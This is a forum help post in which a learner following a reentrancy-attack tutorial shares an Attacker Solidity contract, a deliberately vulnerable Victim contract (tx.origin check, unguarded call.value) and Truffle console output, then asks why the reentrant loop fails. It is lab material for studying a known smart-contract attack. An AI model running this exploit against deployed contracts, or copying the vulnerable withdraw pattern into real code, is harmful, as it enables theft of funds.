Truffle Console: Problem with reentrant calls (not executing 5 times)

General
1

Hi,
I am doing the example provided at:

reentrancy tutorial justdev(https://medium.com/@JusDev1988/reentrancy-attack-on-a-smart-contract-677eae1300f2)

I have parameterized the withdraw method.

The Attacker SC:

   pragma solidity ^0.5.8;
   import './Victim_tx8.sol';
   contract Attacker{
   uint amount = 1 ether;
   address payable owner;
   Victim public v;
   uint public count;
   event LogFallback(uint c, uint balance);
   constructor (address payable victim) public {
      owner = msg.sender;
      count =0;
      v=Victim(victim);
    }
    function attack(address payable to, uint a) public {
       v.withdraw(to, a);
    }
    function () external payable{
       count++;
       emit LogFallback(count, address(this).balance);
       if(count < 5 ) {
          v.withdraw(owner,amount);
       }
    }
  }

The Victim SC is:

pragma solidity ^0.5.8;
contract Victim{
   address owner;
   constructor() public{
      owner = msg.sender;
   }
   function  withdraw(address payable to, uint amount) public{  
     // uint transferAmt = 1 ether;
      require(tx.origin == owner); 
      (bool success, ) = to.call.value(amount)("");
      require(success);
   }
   function() payable external {}
}

I think it is not executing the reentrant call. I used the Truffle console and executed the following commands:

       V = await Victim.deployed()
       A = await Attacker.deployed()
       acc2 = accounts[2]
       web3.eth.sendTransaction({to:V.address, from:acc2, value: web3.utils.toWei('15')})//executes the transaction
       Vbal = await web3.eth.getBalance(V.address)
       web3.utils.fromWei(Vbal, "ether")
       15
       await A.attack(A.address, web3.utils.toWei('1',"ether"),{from:accounts[0]})//executes the transaction
       Vbal = await web3.eth.getBalance(V.address)
       web3.utils.fromWei(Vbal, "ether")
       '13'
        Abal = await web3.eth.getBalance(A.address)
       undefined
       web3.utils.fromWei(Abal, "ether")
       '1'

Somebody please guide me why reentrant calls not executing 5 times and why attacker’s balance is notincreneting.

Zulfi.